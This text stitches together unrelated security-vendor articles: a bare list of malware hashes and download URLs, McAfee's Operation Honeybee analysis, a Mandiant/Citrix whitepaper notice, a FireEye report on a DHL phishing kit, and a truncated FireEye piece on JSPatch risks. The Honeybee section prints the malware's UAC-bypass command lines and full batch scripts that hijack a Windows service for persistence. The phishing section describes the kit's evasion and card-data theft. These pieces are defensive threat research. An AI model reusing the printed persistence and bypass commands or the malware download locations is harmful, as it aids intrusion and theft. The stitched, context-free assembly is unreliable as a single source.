4fd37fa6ccf027e11409e3ca3b8109b2830cb3d7842303e67e6d0c087ae1b419 linux binary 22ef90a2b3c23d3c890358fff4ec1210e4ceaaf46d8bef525294151b0e88ce15 linux binary 77a9f3d4f498c8a84e09c89fd75d98eea31954cc17d948b876c00c638c95a7b6 linux binary 5208cda8463eee0ac2cf0273dcd4036aa1e2be0de2c45b4ffd71e4c92bac3f2b linux binary 18a877f11f2ba2d7ae05ee8644a5cbd687282df4010dd0cb7680aec2e00d98ce linux binary f487b23309808e468889baf10c852284b7833b8ac06fd405d1b19abafc8e17fb linux binary 0c13b3528088c308ac28971fba93939c66da2eabef66a4d3790c0b1817221535 linux binary dd31b774397c6e22375d4f2fe26e38e82ae164bc73cf58314b18b8eed26802f0 linux binary bcb02047374196acdf0285a656a8d378cecd6115c403d0bc9f743b4e3ffd6fed linux binary 1384790107a5f200cab9593a39d1c80136762b58d22d9b3f081c91d99e5d0376 linux binary dd5b4de5a1c68aad5a2efb08db55cb3e09f8ddffc19c95c1ecf9d06c6edf2d40 linux binary 9d85b4e7202521d435a871b7de5f8affd30603687cf6e6f39f1420e9223b2bea linux binary 8353823b0dc71e1feec1a2ba5e509966d5dae7f5105489c1e628baa73b314d76 linux binary be8d067e762c5da8e616f62e882881b82c8627943bdf006e304fd9a4f784763f windows executable
588b0838cc4c0fc64bfc1e5eeab2c9a59248e4e28a859ecbbac6bfe88bda703d windows executable 5c902be344f9e089e60c36bbe3345fb5bd9c3c0b4cec349a6bb18da7faef0908 windows executable 98e10d9c5bfd7a26ff3eb68d232109b6fbe0b0ec39f763f574301fb55e52a067 windows executable 0f02a4180528a850cf24310f2e88c365695e35adbe6ba023288283599348b16d windows executable d8336694afc213433470e9481de2f5d3f57dbeaf5763f62d137be103f63c45dc windows executable 9fd4fbab33dbedf48706096ab4ae19e25648f33d2e9fba62118fea726c918848 windows executable e51e35ce9737838d1a26be7285ba78a137d11c6725382944f34bde86f16cc893 windows executable 8d0585970d1f6996ee8a034ee1f482bb0df32599e618312c0830e2fb04b6af5a windows executable 064869b60b9cdb2b39daa30280770e63d9151fe3cc9f6db3813953cd71bdba8f windows executable 4a588b7f30c91dd5603ffb0ea48cbd9f589f44b7fcb980b9bb9959d87dd344ad windows executable
15e0b4302902a425dcd0476a60a0d96a17c5a6cdd9fe13c2d09c5055e48178e4 windows executable
c75c47694c5affa6c7eb4259ec3e4f29c740872305229b271e57bd90816e86b6 ldr.sh b7e06689bde2614505a70cd0b4be24688be78d05057a134cc3f16919763bf65f ldr.sh 41abb26f7c6dbc59ed4fc9f323211b4d422937700d866a7c5d12625f85fe6be6 ldr.sh a41f2f0d431e750e911fc8f70c8b764f141f19fef2e6b0b70192d502d59ae39a ldr.sh c07838598435a26f658654db4ce816914e6cfe70056382471362407d6093e1fa ldr.sh f674e83e44bbb3ddf76c3622b9b8b0be16edf60f4021a91b5959e528684c481f
ldr.sh af279402867f3ef8d9e8bacde3aff359b1c6f3f2d581b914f12cb9d914199a0d ldr.sh 58d96898ae28a806c8056799d703cad8a5bac95772458512395f77b8b6f73585 ldr.sh 6cab9f43cf738ba5ca9fb519f898f6ae10b11391d76191c395fe2c5bcbe5c100 ldr.sh
6a77d927c3e749c92b3f8847804c0de509050ad24aaf72519314df9226c3acb0
ldr.sh 2d1b6deaccca69f67a6a207ecebb0010e62cd4d87298374c957236c78606f62e
ldr.sh 0783a9793100e6a32b21183239f955989c8901d18260092309efae91ccc075da ldr.sh 30c3965452d35eab07243e2b193a3de678c1be6719753ed00b164785ae57ea98 ldr.sh 03e1806272242fae788c8728bc5796482890601839c0c5012855424ce253c95d ldr.sh b480b65704fb998bafa8893221e691daa906a80206196eda1ac3c0cdcc5c1c49 ldr.sh 774fad3fd2c7add5842b58c1127b9061d38027debcd3917910a8ec6b6aec9d08
ldr.sh 472fa4d13d8d71762af7fe5d574ad0d7c7c2983d228fd0944f0ee706e5b9d551
ldr.sh f36b692e27631a5cc96f705ad06fa4496b70fc59c4ed3b6f9a2efffff503975c ldr.sh
0703482c9cfd573924c028db0a2563b7e936993a345ad6d92e9cff73030cebc5
ldr.sh 8f421d90d2697cc38d24858ab894a119719a217157c151eaf9fe9ff55f6387a5 ldr.sh 752f181073449404df442a56b067951a8ed5a5419129ca5a416e80c376295b54 ldr.sh 1d42661ed8ee86d6329d27158ba9d1cf6291b1d3c6554ba50b683643f0b89959 ldr.sh f4098b2e1e861baac736ea9e71c45e488330a3f7a799460f35573014e04152c0 ldr.sh 73366b91ed479f3394fe2f211edac36df0e90d6be41b7ee0559582a324484e40 ldr.ps1 934b422f0b8d26bd1c094bd532ddd947a702262c27991d757a9a6e3672014e98 ldr.ps1 http://185[.
]239.242.71/ldr.ps1 download urls http://185[.
]239.242.71/ldr.sh download urls http://185[.
]239.242.71/sysrv.exe download urls http://194[.
]145.227.21/ldr.sh download urls http://194[.
]145.227.21/sysrv download urls http://194[.
]40.243.98/ldr.sh download urls http://195[.
]58.39.46/asap download urls http://31[.
]210.20.120/ldr.sh download urls http://31[.
]210.20.120/sysrv.exe download urls http://31[.
]210.20.120/sysrvv download urls http://31[.
]210.20.120/sysrvv download urls http://31[.
]210.20.120/sysrvv download urls http://31[.
]210.20.181/ldr.sh download urls http://31[.
]42.177.123/sysrv.exe download urls http://31[.
]42.177.123/sysrvv download urls http://31[.
]42.177.123/sysrvv download urls http://45[.
]145.185.85/ldr.ps1 download urls http://45[.
]145.185.85/sysrv download urls http://45[.
].145.185.85/sysrv.exe download urls http://finalshell[.
]nl/sysrv.exe download urls http://finalshell[.
]nl/sysrvv download urls 185[.
]239.242.71 IP 194[.
]145.227.21 IP 194[.
]40.243.98 IP 195[.
]58.39.46 IP 31[.
]210.20.120 IP 31[.
]210.20.181 IP 31[.
]42.177.123 IP 45[.
]145.185.85 IP finalshell[.
]nl Domain
By Ryan Sherstobitoff on Mar 02, 2018
This post was written with contributions from Jessica Saavedra-Morales, Thomas Roccia, and Asheer Malhotra.
McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents.
Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks.
Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift.
These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them.
The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.
Background On January 15, Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor.
The Korean-language Word document manual.doc appeared in Vietnam on January 17, with the original author name of Honeybee.
Document properties.
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON, which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics.
The malicious Visual Basic script uses a unique key (custom alphabet) to encode data.
We have seen this in previous operations using SYSCON.
This key was also used in the Honeybee campaign and appears to have been used since August 2017.
Examples of decoy documents.
Several additional documents surfaced between January 17 and February 3.
All contain the same Visual Basic macro code and author name as Honeybee.
Some of the malicious documents were test files without the implant.
From our analysis, most these documents were submitted from South Korea, indicating that some of the targeting was in South Korea.
These Honeybee documents did not contain any specific lures, rather variations of a “not compatible” message attempting to convince the user to enable content.
We also observed a related malicious document created January 12 by the author Windows User that contained a different encoding key, but essentially used the same macro and same type of implant as we saw with the recent Honeybee documents.
This document, “International Federation of Red Cross and Red Crescent Societies – DPRK Country Office,” drops an implant with the control server address 1113427185.ifastnet.org, which resolves to the same server used by the implants dropped in the Honeybee case.
The directory contents of control server 1113427185.ifastnet.org.
The directory contents of ftp.byethost11.com, from Honeybee samples.
Log files of compromised machines from February 2018 Honeybee samples.
MaoCheng Dropper Aside from finding the malicious documents, the Advanced Threat Research team discovered a Win32-based executable dropper.
This dropper uses a stolen digital signature from Adobe Systems.
This certificate is also used by another Korean-language malware compiled January 16 (hash: 35904f482d37f5ce6034d6042bae207418e450f4) with an interesting program database (PDB) path.
D:\\Task\\DDE Attack\\MaoCheng\\Release\\Dropper.pdb
The malware is a Win32 executable that pretends to be a Word document based on its icon.
This is a dropper for the same type of malware as observed with the other Word documents.
This sample also dropped a decoy document with the author name Honeybee.
This sample, however, contained a bug that interfered with the execution flow of the dropper, suggesting that the authors did not test the malware after code signing it.
The decoy document uses the cloud-based accounting software company Xero as a lure: A decoy document from MaoCheng dropper.
Possible Operator The Advanced Threat Research team has identified the following persona (snoopykiller@mail.ru) tied to this recent operation.
Based on our analysis, the actor registered two free hosting accounts: navermail.byethost3.com, which refers to the popular South Korean search engine, and nihon.byethost11.com.
The email address was used to register a free account for a control server in all the implants described in our analysis.
Technical Analysis Let’s start with an overview of the attack: We continue with the components involved in this operation.
The malicious Word file is the beginning of the infection chain and acts as a dropper for two DLL files.
The Word file contains malicious Visual Basic macro code that runs when the document is opened in Word using the Document_Open() autoload function.
The word file also contains a Base64-encoded file (encoded with a custom key) in it that is read, decoded, and dropped to the disk by the macro.
The Document_Open() subroutine implementing the malicious functionality.
The Visual Basic macro performs the following tasks: Opens a handle to the malicious document to read the encoded CAB file Decodes the CAB file and writes it to the disk at %temp%\\setup.cab Encoded CAB file in the Word document.
Decoding and writing the CAB file to %temp%.
The decoded CAB file in the Visual Basic memory buffer.
The CAB file contains the following files and functions: dll: A malicious DLL used to launch batch files (used with cliconfg.exe for UAC bypass).
The DLL contains the following PDB path: D:\\Task\\MiMul\\NTWDBLIB\\Release\\NTWDBLIB.pdb.
bat:
A batch file to set up the service COMSysApp, for an x64 system bat: A batch file to set up the service COMSysApp, for an x86 system ini: A data file with Base64-encoded data for connecting to an FTP server.
Credentials are encoded in the .ini file.
Decoded credential data contained in ipnet.ini.
dll:
The malicious DLL file run as a service (using svchost.exe).
The DLL contains the following PDB path: D:\\Task\\MiMul\\FTPCom_vs10\\Release\\Engine.pdb.
The macro then extracts the CAB file into %systemroo%\\system32, using either wusa.exe or expand.exe (depending on the OS) to again bypass UAC prompts Once the files have been extracted, the Visual Basic macro deletes the CAB file and runs the malicious NTWDBLIB.dll via cliconfg.exe (to gain privileges and bypass UAC protections)
Command lines used by the Visual Basic macro: cmd /c wusa %TEMP%\\setup.cab /quiet
/extract:%SystemRoot%\\System32 && del /f /q %TEMP%\\setup.cab && cliconfg.exe\r\ncmd /c
expand %TEMP%\\setup.cab -F:*
%SystemRoot%\\System32 && del /f /q %TEMP%\\setup.cab && cliconfg.exe
A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows.
UAC bypass via DLL hijacking requires: A Windows executable with the auto-elevate property in its manifest A Windows executable in a secure directory (%systemroot%\\system32)
The malicious NTWDBLIB DLL performs the simple task of setting up the malicious ipnet.dll as a service by running one of the two batch files contained in the CAB file (which is also dropped to %systemroot%\\system32): NTWDBLIB executing the installer batch files under the context of cliconfg.exe.
The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll.
The contents of the batch files vary depending on the OS (x64 vs x86): install1.bat (x64)
@echo off\r\nsc stop COMSysApp\r\nsc config COMSysApp type= own start= auto error= normal binpath= \"%windir%\\SysWOW64\\svchost.exe -k COMSysApp\"\r\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost\" /v
COMSysApp /t
REG_MULTI_SZ /d \"COMSysApp\"
/f\r\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\COMSysApp\\Parameters\" /v
ServiceDll /t
REG_EXPAND_SZ /d \"%windir%\\SysWOW64\\ ipnet.dll \" /f\r\nsc start COMSysApp\r\ndel /f /q %windir%\\SysWOW64\\install2.bat\r\ndel /f /q
%windir%\\SysWOW64\\install1.bat install2.bat (x86) @echo off\r\nsc stop COMSysApp\r\nsc config COMSysApp type= own start= auto error= normal binpath= \"%windir%\\System32\\svchost.exe -k COMSysApp\"\r\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost\" /v
COMSysApp /t
REG_MULTI_SZ /d \"COMSysApp\"
/f\r\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\COMSysApp\\Parameters\" /v
ServiceDll /t
REG_EXPAND_SZ /d
\"%windir%\\system32\\ ipnet.dll \" /f\r\nsc start COMSysApp\r\ndel /f /q %windir%\\System32\\install1.bat\r\ndel /f /q
%windir%\\System32\\install2.bat The batch files perform these tasks: Stop the service COMSysApp
Configure the service to autostart (to set up persistence on the system) Modify registry keys to launch the DLL unser svchost.exe Specify the malicious DLL path to be loaded into the svchost process.
Immediately restart the service Remove the batch files to reduce the fingerprint on the system IPNet.dll runs as a service under svchost.exe.
The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using: cmd /c taskkill /im cliconfg.exe /f /t && del /f /q
NTWDBLIB.DLL All the following capabilities described are implemented by the malicious service DLL implant unless specified.
Variant using North Korean Red Cross Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key.
This document was created January 10.
Contents of the decoy document.
This variant also consists of two CAB files that are dropped to %temp%, depending on the OS (x86 or x64).
The key differences in this variant: Two CAB files are encoded into the Word document in text boxes instead of being appended in the DOC file There is one CAB file for an x86 system and another for an x64 system
This malware sample uses uacme.exe with dummy.dll to implement the UAC bypass exe is the program vulnerable to the UAC bypass attack dll runs install.bat to set up the service (same as NTWDBLIB.dll) exe and dummy.dll may be either 64-bit or 32-bit binaries based on the OS.
Ipnet.dll may also be either 64-bit or 32-bit.
The Visual Basic macro uses the following command line: cmd /c expand %TEMP%\\setup.cab -F:* %TEMP% && cd /d %TEMP% && del /f /q setup.cab && uacme.exe The control server credential information contained in the CAB files is different: Decoded credential data contained in another ipnet.ini.
Similarities between this variant and the original malware sample: Service name is the same: COMSysApp
The DLL and ini files contain the same functions as described elsewhere in this post Data Reconnaissance
The following information is gathered from the endpoint and sent to the control server.
System info: Computer name System info using: cmd /c systeminfo >%temp%\\temp.ini List of currently running process using: cmd /c tasklist >%temp%\\temp.ini
Exfiltration The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern: From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt.
For example, From <COMPUTER-NAME> (01-04 11-40-02).txt
All the text files are now packed into the archive temp.zip (%temp%\\temp.zip) zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt txt is uploaded to the control server Additional Commands and Capabilities The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords: TO EVERYONE:
Commands issued to all infected endpoints TO <COMPUTERNAME>: Commands issued to endpoints matching the ComputerName
The following commands are supported by the malware implant:
cmd /c pull <filename>:
Adds filename to temp.zip, Base64 encodes, and uploads to control server cmd /c chip <string>: Deletes current ipnet.ini config file.
Writes new config info (control server connection info) to new ipnet.ini.
cmd /c put <new_file_name> <existing_file_name>:
Copies existing file to new file name.
Deletes existing file.
/user
<parameters>:
Executes downloaded file with parameters specified using CreateProcessAsUser cmd /c <command>:
Executes command on infected endpoint Conclusion The actor behind Honeybee has been operating with new implants since at least November 2017 with the first known version of NTWDBLIB installer.
Furthermore, based on the various metadata in both documents and executables, the actor is likely a Korean speaker.
The techniques used in the malicious documents such as the lure messages closely resemble what we have observed before in South Korea.
The attacker appears to target those involved in humanitarian aid and inter-Korean affairs.
We have seen this operation expand beyond the borders of South Korea to target Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada.
Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor.
Some new droppers have not been observed before in the wild.
The MaoCheng dropper was apparently created specifically for this operation and appeared only twice in the wild.
Indicators of compromise MITRE ATT&CK techniques Modify existing service Code signing File deletion Deobfuscate/decode files or information System information discovery Process discovery Service execution RunDLL32 Scripting Command-line Interface Data from local system Automated exfiltration Data encrypted Commonly used port Bypass user account control Hashes fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3 f684e15dd2e84bac49ea9b89f9b2646dc32a2477 1d280a77595a2d2bbd36b9b5d958f99be20f8e06 19d9573f0b2c2100accd562cc82d57adb12a57ec f90a2155ac492c3c2d5e1d83e384e1a734e59cc0 9b832dda912cce6b23da8abf3881fcf4d2b7ce09 f3b62fea38cb44e15984d941445d24e6b309bc7b
66d2cea01b46c3353f4339a986a97b24ed89ee18 7113aaab61cacb6086c5531a453adf82ca7e7d03 d41daba0ebfa55d0c769ccfc03dbf6a5221e006a 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4
1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef6330e3086de592b3223eb198744a 85e2453b37602429596c9681a8c58a5c6faf8d0c Domains ftp.byethost31.com ftp.byethost11.com 1113427185.ifastnet.org navermail.byethost3.com nihon.byethost3.com
A Joint Whitepaper from Mandiant and Citrix Throughout the course of Mandiant’s Red Team and Incident Response engagements, we frequently identify a wide array of misconfigured technology solutions, including Citrix XenApp and XenDesktop.
We often see attackers leveraging stolen credentials from third parties, accessing Citrix solutions, breaking out of published applications, accessing the underlying operating systems, and moving laterally to further compromise the environment.
Our experience shows that attackers are increasingly using Citrix solutions to remotely access victim environments post-compromise, instead of using traditional backdoors, remote access tools, or other types of malware.
Using a legitimate means of remote access enables attackers to blend in with other users and fly under the radar of security monitoring tools.
Citrix provides extensive security hardening guidance and templates to their customers to mitigate the risk of these types of attacks.
The guidance is contained in product-specific eDocs, Knowledge Base articles and detailed Common Criteria configurations.
System administrators (a number of them wearing many hats and juggling multiple projects) may not have the time to review all of the hardening documentation available, so Mandiant and Citrix teamed up to provide guidance on the most significant risks posed to Citrix XenApp and XenDesktop implementations in a single white paper.
This white paper covers risks and official Citrix hardening guidance for the following topics: Environment and Application Jailbreaking Network Boundary Jumping Authentication Weaknesses Authorization Weaknesses Inconsistent Defensive Measures Non-configured or Misconfigured Logging and Alerting The white paper is available here.
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FireEye Email Security recently encountered various phishing campaigns, mostly in the Americas and Europe, using source code obfuscation with compromised or bad domains.
These domains were masquerading as authentic websites and stole personal information such as credit card data.
The stolen information was then shared to cross-platform, cloud-based instant messaging applications.
Coming off a busy holiday season with a massive surge in deliveries, this post highlights a phishing campaign involving a fake DHL tracking page.
While phishing attacks targeting users of shipping services is not new, the techniques used in these examples are more complex than what would be found in an off-the-shelf phishing kit.
This campaign uses a WOFF-based substitution cypher, localization specific targeting, and various evasion techniques which we unravel here in this blog.
Attack Flow The attack starts with an email imitating DHL, as seen in Figure 1 .
The email tries to trick the recipient into clicking on a link, which would take them to a fake DHL website.
In Figure 2, we can see the fake page asking for credit card details that, if submitted, would give the user a generic response while in the background the credit card data is shared with the attackers.
Figure 1: DHL phishing attempt Figure 2:
Fake website imitating DHL tracking This DHL phishing campaign uses a rare technique for obfuscating its source page.
The page source contains proper strings, valid tags, and appropriate formatting, but contains encoded text that would render gibberish without decoding prior to loading the page, as seen in Figure 3.
Typically, decoding such text is done by including script functions within the code.
Yet in this case, the decoding functions are not contained in the script.
Figure 3: Snippet of the encoded text on page source The decoding is done by a Web Open Font Format (WOFF) font file, which happens upon loading the page in a browser and will not be visible in the page content itself.
Figure 4 shows the substitution cipher method and the WOFF font file.
The attacker does this to evade detection by security vendors.
Many security vendors use static or regex signature-based rules, so this method will break those naïve-based conditions.
Figure 4: WOFF substitution cipher Loading this custom font which decodes the text is done inside the Cascading Style Sheets (CSS).
This technique is rare as JavaScript functions are traditionally used to encrypt and decrypt HTML text.
Figure 5: CSS file for loading WOFF font file Figure 5 shows the CSS file used to load the WOFF font file.
We have also seen the same CSS file, style.css, being hosted on the following domains: hxxps://www.lifepointecc[.
]com/wp-content/sinin/style.css hxxps://candyman-shop[.
]com/auth/DHL_HOME/style.css hxxps://mail.rsi-insure[.
]com/vendor/ship/dhexpress/style.css hxxps://www.scriptarticle[.
]com/thro/HOME/style.css These legitimate-looking domains are not hosting any phishing websites as of now; instead, they appear to be a repository for attackers to use in their phishing campaigns.
We have seen similar phishing attacks targeting the banking sector in the past, but this is newer for delivery websites.
Notable Techniques Localization
The phishing page displays the local language based on the region of the targeted user.
The localization code (Figure 6) supports major languages spoken in Europe and the Americas such as Spanish, English, and Portuguese.
Figure 6:
Localization code The backend contains PHP resource files for each supported language (Figure 7), which are picked up dynamically based on the user’s IP address location.
Figure 7:
Language resource files Evasion
This campaign employs a variety of techniques to evade detection.
This will not serve up a phishing page if the request came from certain blocked IP addresses.
The backend code (Figure 8) served the users with a \"HTTP/1.1 403 Forbidden\" response header under the following conditions: IP has been seen five times (AntiBomb_User func) IP host resolves to its list of avoided host names ('google', 'Altavista', 'Israel', 'M247', 'barracuda', 'niw.com.au' and more) (AntiBomb_WordBoot func) IP is on its own local blocklist csv (x.csv in the kit) (AntiBomb_Boot func) IP has seen POSTing three times (AntiBomb_Block func) Figure 8:
Backend evasion code After looking at the list of blocked hosts, we could deduce that the attackers were trying to block web crawlers.
Data Theft
The attackers behind this phishing campaign attempted to steal credentials, credit card data, and other sensitive information.
The stolen data is sent to email addresses and Telegram channels controlled by the attacker.
We uncovered a Telegram channel where data is being sent using the Telegram Bot API shown in Figure 9.
Figure 9:
Chat log While using php mail() function to send stolen credentials is quite common, in the near past, encrypted instant messaging applications such as Telegram have been used for sending phished information back to command and control servers.
We were able to access one of the Telegram channels controlled by the attacker as shown in Figure 10.
The sensitive information being sent in the chat includes IP addresses and credit card data.
Figure 10: Telegram channel with stolen information Conclusion Attackers (and especially phishers) are always on the hunt for new ways to evade detection by security products.
Obfuscation gives the attackers an edge, and makes it harder for security vendors to protect their customers.
By using instant messaging applications, attackers get user data in real time and victims have little to respond once their personal information is compromised.
Indicators of Compromise (IOC) FireEye Email Security utilizing FAUDE (FireEye Advanced URL Detection Engine) protects customers from these types of phishing threats.
Unlike traditional anti-phishing techniques dependent on static inspection of phishing URL content, FAUDE uses multiple artificial intelligence (AI) and machine learning (ML) engines to more effectively thwart these attacks.
From December 2020 until the time of posting, our FAUDE detection engine saw more than 100 unique URLs hosting DHL phishing pages with obfuscated source code, including: hxxps://bit[.
]ly/2KJ03RH hxxps://greencannabisstore[.
]com/0258/redirect-new.php hxxps://directcallsolutions[.]co[.
]za/CONTACT/DHL_HOME/ hxxps://danapluss[.
]com/wp-admin/dhl/home/ hxxp://r.cloudcyberlink[.
]digital/<path> (multiple paths using same domain)
Email Addresses medmox2k@yandex[.
]com o.spammer@yandex[.
]com
cameleonanas2@gmail[.
]com Telegram Users @Saitama330
@cameleon9 style.css Md5: 83b9653d14c8f7fb95d6ed6a4a3f18eb) Sha256: D79ec35dc8277aff48adaf9df3ddd5b3e18ac7013e8c374510624ae37cdfba31 font-woff2 MD5: b051d61b693c76f7a6a5f639177fb820 SHA-256: 5dd216ad75ced5dd6acfb48d1ae11ba66fb373c26da7fc5efbdad9fd1c14f6e3 Domains Pradosdemojanda[.
]com global-general-trackks.supercarhiredubai[.
]com tracking-dhi.company Tapolarivercamp[.
]com
Rosariumvigil[.
]com
Mydhlexpert[.
]com
Autorepairbyfradel[.
]com URLs hxxps://wantirnaosteo[.]com[.
]au/logon/home/MARKET/F004f19441/11644210b.php hxxps://ekartenerji[.]com[.
]tr/wp-admin/images/dk/DHL/home.php hxxps://aksharapratishthan[.
]org/admin/imagess/F004f19441/sms1.php hxxps://royalgateedu[.
]com/wp-content/plugins/elementor/includes/libraries/infos/package/F004f19441/00951124a.php hxxps://vandahering[.]com[.
]br/htacess hxxps://hkagc[.
]com/man/age/F004f19441/11644210b.php hxxps://fiquefitnes[s]comsaude[.
]com/.well-known/MARKET/MARKET/F004f19441/11644210b.php hxxps://juneispearlmonth[.
]com/-/15454874518741212/dhl-tracking/F004f19441/00951124a.php hxxps://www.instantcopywritingscript[.
]com/blog/wp-content/22/DHL/MARKET hxxps://isss[.]sjs[.]org[.
]hk/wp-admin/includes/F004f19441/11644210b.php hxxps://www.concordceramic[.
]com/fr/frais/F004f19441/11644210b.php hxxps://infomediaoutlet[.
]com/oldsite/wp-content/uploads/2017/02/MARKET/ hxxps://wema-wicie[.
]pl/dh/l/en/MARKET hxxps://www.grupoindustrialsp[.
]com/
DHL/MARKET/ hxxps://marrecodegoias[.]com[.
]br/wp-snapshots/activat/MARKET/F004f19441/11644210b.php hxxps://villaluna[.
]de/wp-content/info/MARKET/F004f19441/11644210b.php hxxp://sandur[.
]dk/wp-content/upgrade/-/MARKET/ hxxps://chistimvse[.
]com/es/dhl/MARKET/ hxxps://detmayviet[.
]com/wp-includes/widgets/-/MARKET/F004f19441/11644210b.php hxxps://dartebreakfast[.
]com/wp-content/plugins/dhl-espress/
MARKET/ hxxps://genesisdistributors[.
]com/-/Tracking/dhl/Tracking/dhl-tracking/F004f19441/00951124a.php hxxps://www.goldstartechs[.
]com/wp-admin/js/widgets/102/F004f19441/11644210b.php hxxps://universalpublicschooltalwandisabo[.
]com/
DHL hxxps://intranet[.]prorim[.]org[.
]br/info/MARKET/F004f19441/11644210b.php hxxps://administrativos[.
]cl/mail.php hxxps://nataliadurandpsicologa[.]com[.
]br/upgrade/MARKET/F004f19441/11644210b.php hxxps://tanaxinvest[.
]com/en/dhl/MARKET/ hxxps://deepbluedivecenter[.
]com/clear/item/ hxxps://keystolivingafulfilledlife[.
]com/wp-admin/includes/daspoe99i3mdef/DOCUNTRITING hxxps://juneispearlmonth[.
]com/-/15454874518741212/dhl-tracking/
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Introduction Apple has made a significant effort to build and maintain a healthy and clean app ecosystem.
The essential contributing component to this status quo is the App Store, which is protected by a thorough vetting process that scrutinizes all submitted applications.
While the process is intended to protect iOS users and ensure apps meet Apple’s standards for security and integrity, developers who have experienced the process would agree that it can be difficult and time consuming.
The same process then must be followed when publishing a new release or issuing a patched version of an existing app, which can be extremely frustrating when a developer wants to patch a severe bug or security vulnerability impacting existing app users.
The developer community has been searching for alternatives, and with some success.
A set of solutions now offer a more efficient iOS app deployment experience, giving app developers the ability to update their code as they see fit and deploy patches to users’ devices immediately.
While these technologies provide a more autonomous development experience, they do not meet the same security standards that Apple has attempted to maintain.
Worse, these methods might be the Achilles heel to the walled garden of Apple’s App Store.
In this series of articles, FireEye mobile security researchers examine the security risks of iOS apps that employ these alternate solutions for hot patching, and seek to prevent unintended security compromises in the iOS app ecosystem.
As the first installment of this series, we look into an open source solution: JSPatch .
Episode 1.
JSPatch JSPatch is an open source project – built on top of Apple’s JavaScriptCore framework – with the goal of providing an alternative to Apple’s arduous and unpredictable review process in situations where the timely delivery of hot fixes for severe bugs is vital.
In the author’s own words ( bold added for emphasis): JSPatch bridges Objective-C and JavaScript using the Objective-C runtime.
You can call any Objective-C class and method in JavaScript by just including a small engine.
That makes the APP obtaining the power of script language: add modules or replacing Objective-C code to fix bugs dynamically .
JSPatch Machinery
The JSPatch author, using the alias Bang, provided a common example of how JSPatch can be used to update a faulty iOS app on his blog: Figure 1 shows an Objc implementation of a UITableViewController with class name JPTableViewController that provides data population via the selector tableView:didSelectRowAtIndexPath: .
At line 5, it retrieves data from the backend source represented by an array of strings with an index mapping to the selected row number.
In many cases, this functions fine; however, when the row index exceeds the range of the data source array, which can easily happen, the program will throw an exception and subsequently cause the app to crash.
Crashing an app is never an appealing experience for users.
Figure 1.
Buggy Objc code without JSPatch Within the realm of Apple-provided technologies, the way to remediate this situation is to rebuild the application with updated code to fix the bug and submit the newly built app to the App Store for approval.
While the review process for updated apps often takes less time than the initial submission review, the process can still be time-consuming, unpredictable, and can potentially cause loss of business if app fixes are not delivered in a timely and controlled manner.
However, if the original app is embedded with the JSPatch engine, its behavior can be changed according to the JavaScript code loaded at runtime.
This JavaScript file ( hxxp://cnbang.net/bugfix.JS in the above example) is remotely controlled by the app developer.
It is delivered to the app through network communication.
Figure 2 shows the standard way of setting up JSPatch in an iOS app.
This code would allow download and execution of a JavaScript patch when the app starts: Figure 2.
Objc code enabling JSPatch in an app JSPatch is indeed lightweight.
In this case, the only additional work to enable it is to add seven lines of code to the application:didFiishLaunchingWithOptions: selector.
Figure 3 shows the JavaScript downloaded from hxxp://cnbang.net/bugfix.JS that is used to patch the faulty code.
Figure 3.
JSPatch hot patch fixing index out of bound bug in Figure 1 Malicious Capability Showcase JSPatch is a boon to iOS developers.
In the right hands, it can be used to quickly and effectively deploy patches and code updates.
But in a non-utopian world like ours, we need to assume that bad actors will leverage this technology for unintended purposes.
Specifically, if an attacker is able to tamper with the content of JavaScript file that is eventually loaded by the app, a range of attacks can be successfully performed against an App Store application.
Target App
We randomly picked a legitimate app [1] with JSPatch enabled from the App Store.
The logistics of setting up the JSPatch platform and resources for code patching are packaged in this routine [AppDelegate excuteJSPatch:] , as shown in Figure 4 [2] : Figure 4.
JSPatch setup in the targeted app There is a sequence of flow from the app entry point (in this case the AppDelegate class) to where the JavaScript file containing updates or patch code is written to the file system.
This process involves communicating with the remote server to retrieve the patch code.
On our test device, we eventually found that the JavaScript patch code is hashed and stored at the location shown in Figure 5.
The corresponding content is shown in Figure 6 in Base64-encoded format: Figure 5.
Location of downloaded JavaScript on test device Figure 6.
Encrypted patch content While the target app developer has taken steps to secure this sensitive data from prying eyes by employing Base64 encoding on top of a symmetric encryption, one can easily render this attempt futile by running a few commands through Cycript .
The patch code, once decrypted, is shown in Figure 7: Figure 7.
